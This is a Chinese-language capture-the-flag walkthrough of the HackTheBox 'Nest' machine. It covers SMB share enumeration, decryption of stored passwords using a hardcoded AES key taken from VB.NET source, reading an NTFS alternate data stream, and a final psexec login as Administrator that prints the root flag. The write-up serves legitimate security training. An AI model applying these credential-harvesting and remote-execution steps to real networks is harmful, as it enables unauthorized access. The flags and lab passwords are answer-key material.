banner
毅种循环

毅种循环

头顶铁锅接收宇宙能量

HackTheBox-巢

HackTheBox-Nest


信息收集#

└─# nmap -sV 10.129.157.43 -p 1-65535
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 22:27 EST
Nmap scan report for 10.129.157.43
Host is up (0.27s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

獲得了 445 和 4386 的未知服務。

SMB 共享#

查看 445 端口共享了什麼服務。

─# smbmap -H 10.129.157.43 -u null
[+] Guest session       IP: 10.129.157.43:445   Name: 10.129.157.43                                   
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS   Remote IPC
        Secure$                                                 NO ACCESS
        Users                                                   READ ONLY

image
user 和 data 是可以訪問的。
訪問 user,發現不能執行任何命令

└─# smbclient -N //10.129.157.43/users
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Jan 25 18:04:21 2020
  ..                                  D        0  Sat Jan 25 18:04:21 2020
  Administrator                       D        0  Fri Aug  9 11:08:23 2019
  C.Smith                             D        0  Sun Jan 26 02:21:44 2020
  L.Frost                             D        0  Thu Aug  8 13:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 13:02:50 2019
  TempUser                            D        0  Wed Aug  7 18:55:56 2019

TempUser C.Smith L.Frost R.Thompson Administrator 獲得了這麼幾個用戶
但是我無法訪問到任何資源文件
image


訪問 data

└─# smbclient -N //10.129.157.43/data 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug  7 18:53:46 2019
  ..                                  D        0  Wed Aug  7 18:53:46 2019
  IT                                  D        0  Wed Aug  7 18:58:07 2019
  Production                          D        0  Mon Aug  5 17:53:38 2019
  Reports                             D        0  Mon Aug  5 17:53:44 2019
  Shared                              D        0  Wed Aug  7 15:07:51 2019

                5242623 blocks of size 4096. 1840690 blocks available
smb: \> 

image

對目錄逐一瀏覽之後,發現有目錄可以訪問了。image
接下來逐級訪問
image
這裡發現一個 txt,下載的命令需要用 “” 包起來,要不然會如上圖所示找不到命令。
image
image
這是一份郵件,意味著此賬戶和密碼可以訪問 Tempuser 的共享服務了。

TEMP#

─# smbmap -H 10.129.157.43  -u TempUser -p welcome2019
[+] IP: 10.129.157.43:445       Name: 10.129.157.43                                   
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS   Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

此賬戶可以訪問 data 和 secure 還有 users。
但是 users 依然沒有權限訪問,繼續訪問 data,發現比較之前多了一個 IT 文件夾可以訪問了。
image

image
瀏覽到 DLink 目錄沒有任何的配置文件
在 notepad 文件夾裡面發現了配置文件,導出。
在 RU Scanner 目錄也發現了配置文件,導出。
image
RU_config.xml

<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

獲得了一個用戶 c.smith 的密碼,但是密文不知道是什麼類型,也解密不了。
image

另外一份 notepad 的配置文件中給出了兩個地址。
image
其中一個指向了 secure 目錄。重新回到 SMB 去讀一下這個共享。

└─# smbclient -U TempUser //10.129.157.43/Secure$
Password for [WORKGROUP\TempUser]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug  7 19:08:12 2019
  ..                                  D        0  Wed Aug  7 19:08:12 2019
  Finance                             D        0  Wed Aug  7 15:40:13 2019
  HR                                  D        0  Wed Aug  7 19:08:11 2019
  IT                                  D        0  Thu Aug  8 06:59:25 2019

                5242623 blocks of size 4096. 1839742 blocks available
smb: \> cd IT
smb: \IT\> ls
NT_STATUS_ACCESS_DENIED listing \IT\*
smb: \IT\> 

剛開始就是顯示這樣權限不足,結果根據文件的指引我能訪問 carl 目錄。
image
剛開始看題目包含了 C# 的標籤,憑感覺應該是要進到 VB 目錄去。
image
在 RU 的目錄發現了剛開始那個 RUscan 目錄和源代碼,我們之前已經獲得了他的配置文件。
現在需要下載回來他的所有文件,smbclient 的遞歸下載是這樣的:
image

代碼分析#

源碼#

導入 VS 丟丟之後,在 Module1 可以看到是加載了配置文件然後引用 utils 中的 DecryptString 函數進行加解密。
image
其中 utils 的代碼如下:

Imports System.Text
Imports System.Security.Cryptography
Public Class Utils

    Public Shared Function GetLogFilePath() As String
        Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
    End Function




    Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function EncryptString(PlainString As String) As String
        If String.IsNullOrEmpty(PlainString) Then
            Return String.Empty
        Else
            Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function Encrypt(ByVal plainText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
        Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
        Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)
        Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC
        Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
        Using memoryStream As New IO.MemoryStream()
            Using cryptoStream As New CryptoStream(memoryStream, _
                                            encryptor, _
                                            CryptoStreamMode.Write)
                cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
                cryptoStream.FlushFinalBlock()
                Dim cipherTextBytes As Byte() = memoryStream.ToArray()
                memoryStream.Close()
                cryptoStream.Close()
                Return Convert.ToBase64String(cipherTextBytes)
            End Using
        End Using
    End Function

    Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function






End Class

先不管這解密代碼。當我編譯該 EXE 出來的時候,發現執行文件會報錯。
image
image
用 CMD 後得到了一个异常报错,需要将配置文件放到此目录然後再去執行
image
添加後執行不會回顯任何東西,寄了。
為什麼不輸出結果啊,仔細一看原來是缺少了打印代碼。
百度一下 C# 打印咋寫。

幾種輸出的區別:

1、Console.WriteLine(“輸出到控制台窗口,即命令提示符窗口”);
2、System.Diagnostics.Debug.WriteLine(“打印信息到輸出窗口,但是只能在Debug版本運行,到了release版本中,Debug類的函數都會被忽略”);
3、System.Diagnostics.Trace.WriteLine(“打印信息到輸出窗口,可以同時在Debug和release版本運行”);
注:第2、3點都必須在Debug模式下才能打印信息到輸出窗口
————————————————
版權聲明:本文為CSDN博主「三一.」的原創文章,遵循CC 4.0 BY-SA版權協議,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_38091174/article/details/85802601

那麼最終代碼就變成了:

Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
        Console.WriteLine(Utils.DecryptString(Config.Password))


    End Sub

End Module

結果也輸出了:
image
獲得了一個新的密碼 xRxRxPANCAK3SxRxRx
但是還有另外一種簡單的思路,就是直接從 EXE 入手,在了解完代碼之後,知道他只是沒有打印這個輸出,最終的結果肯定要停留在系統的某個地方。

dnspy#

既然是 C# 的代碼,直接用 dnspy 反編譯 exe 即可。
image
思路就是,從這裡開始調用解密算法然後輸出結果,那麼我們可以在

ssoIntegration.Password = Utils.DecryptString(configFile.Password);


這一行給他打上斷點,讓他執行到這裡然後斷開,然後查看寄存器。
F9 打下斷點之後,開始執行程序。
image
斷點之後,可以看到在內存中的 password 參數就是配置文件中的密碼,此處還沒有進行解密,需要讓他再執行一步。
單步執行 F11 可以看到解密是怎麼執行的,逐過程 F10 就是單步執行,就會看到解密完成的密碼存在了內存裡面。
image
也可以獲得密碼

user#

接上一步獲得了 C.smith 的密碼之後 使用 SMB 去連接

└─# smbmap -H 10.129.157.43  -u C.Smith -p xRxRxPANCAK3SxRxRx //查看共享
[+] IP: 10.129.157.43:445       Name: 10.129.157.43                               
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS   Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

直接去訪問自己名字文件下面的文件,獲得了第一個 flag。
image
## ROOT
我繼續搜索這台機器的文件,發現了一個 txt 文件
image
但是很奇怪的是 0 字節。
而另外一份配置文件是一個導出的備份配置。
image
4386 端口。。。。剛開始 nmap 掃描的不就是 4386 端口嗎,猜想這裡的信息應該和另外一個端口有關。
image

同時,另外一個目錄存在一個 HqkLdap.exe。

用 Windows 打開 Hqkldap.exe 試試。

zhangsan  Release  ♥ 14:48  .\HqkLdap.exe
Invalid number of command line arguments
zhangsan  Release  ♥ 14:48  .\HqkLdap.exe -help
Specified config file does not exist
zhangsan  Release  ♥ 14:48  .\HqkLdap.exe help
Specified config file does not exist

獲得了兩個提示。
1. 命令行參數的數量無效
2. 指定的配置文件不存在
說明運行這個程序 需要帶配置文件
我想到用剛剛那個 0 字節的文件嘗試一下
image
第三個報錯,請確保安裝了可選的數據庫導入模塊。
發現也是 C# 編譯的,丟入 dnspy 看看

dnspy#

image
反編譯之後,發現其中有如下提示:
除了之前提到的幾個問題之外,還要有一個 HqkDbImport.exe
但是目前缺少配置文件和這個 exe 文件。

CTF NTFS#

在我思考為什麼 txt 是 0 字節的文件時候,搜索隱寫的時候發現了一種叫 NTFS 數據流隱寫的技術。
NTFS 交換數據流(alternate data streams,簡稱 ADS)是 NTFS 磁碟格式的一個特性,在 NTFS 文件系統下每一個文件,都有著主文件流和非主文件流,主文件流能夠直接看到;而非主文件流寄宿於主文件流中,無法直接讀取,這個非主文件流就是 NTFS 交換數據流。交換數據流的誕生源於 Windows 系統與蘋果的 HFS 系統的交互需求,NTFS 使用交換數據流來存儲文件相關元數據等等。 ADS 的作用在於,它允許一個文件攜帶著附加的信息。例如,IE 瀏覽器下載文件時,會向文件添加一個數據流,標記該文件來源於外部,即帶有風險,那麼,在用戶打開文件時,就會彈出文件警告提示。再如,在網址收藏中,也會附加一個 favicon 數據流以存放網站圖標。 創建一個數據交換流文件的方法很簡單,只需要這樣一條命令: type "要隱藏的附加文件">"宿主文件":"要隱藏的附加文件" 例如在這道題目中,我就是用這樣一條命令向 ADS 中寫入了圖像文件: type "flag.gif" > "nothing.gif":"flag.gif" 此時需要注意,儘管可以向文本 / 圖像 / 可執行文件等各類文件類型的 ADS 中寫入數據,但最好保持宿主文件和附加文件文件類型的一致性。我第一次嘗試是向 png 附加 gif,結果測試發現這種隱寫不夠隱蔽,可以直接被 foremost 察覺並分離…
參考文章:https://joner11234.github.io/article/85357d8d.html
參考文章:https://www.cnblogs.com/linuxsec/articles/10423138.html

當我想到這裡的時候,用 allinfo 列出那個空的文件後,奇蹟發生了。

smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    四 8月  8 19時06分12秒 2019 EDT
access_time:    四 8月  8 19時06分12秒 2019 EDT
write_time:     四 8月  8 19時08分17秒 2019 EDT
change_time:    三 7月 21 14時47分12秒 2021 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\> 

image
獲得了一個帶隱寫的流文件。按照文章的說法,帶上 password 去訪問。

帶上密碼再去下載文件
get "Debug Mode Password.txt"

image

獲得了最後一個密碼,WBQ201953D8w。
那麼,現在有密碼了,有 EXE 了,只差配置文件了,別忘了之前的 4386 端口。
使用 telnet 連接一下
image
這裡執行命令,輸入你獲得的調試密碼。
image
然後 help 查看幫助
setdir 到上級目錄後會發現剛開始在 SMB 裡面發現的 config。

>setdir LDAP

Current directory set to LDAP
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: LDAP

最終找到了該配置文件
image

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

獲得了配置文件後,回到我們剛開始做 exe 分析那裡。

逆向#

要素都齊活了
1. 配置文件
2. 主 EXE
3.HqkDbImport.exe(缺少)

但是我還是沒有找到 HqkDbImport.exe 在哪裡,沒有就給他編一個看看行不行,用 TXT 改一個後綴用。
image

image
看代碼
此處是解密流程中分別對應的參數。
image
那麼斷點應該打在解密完成後的下一步,即 Ldap ldap = new Ldap ();
image

F10 單步走
走到 username,解密結果為 administrator
image

image
HqkLdap.LdapSearchSettings.Password.get 返回 "XtH4nkS4Pl4y1nGX" string
獲得密碼
image
獲得域名。

PWN ROOT#

─# smbmap -H 10.129.157.43 -u Administrator -p XtH4nkS4Pl4y1nGX
[+] IP: 10.129.157.43:445       Name: 10.129.157.43                                   
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  READ, WRITE     Remote Admin
        C$                                                      READ, WRITE     Default share
        Data                                                    READ, WRITE
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ, WRITE
        Users                                                   READ, WRITE
                                                                     <br />‍<br />直接使用 psexec 去連接就行。
└─# python3 psexec.py administrator:[email protected]
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.129.157.43.....
[*] Found writable share ADMIN$
[*] Uploading file oMaWJKuG.exe
[*] Opening SVCManager on 10.129.157.43.....
[*] Creating service zVQM on 10.129.157.43.....
[*] Starting service zVQM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.


C:\Windows\system32> cd C:\Users\Administrator\Desktop
 
C:\Users\Administrator\Desktop> ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is E6FB-F2E9

 Directory of C:\Users\Administrator\Desktop

07/21/2021  06:27 PM    <DIR>          .
07/21/2021  06:27 PM    <DIR>          ..
12/21/2022  03:27 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   7,534,895,104 bytes free

C:\Users\Administrator\Desktop> type root.txt
ca6dc99e9e052aa9fc3a68ea7c14ab9b

END.

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。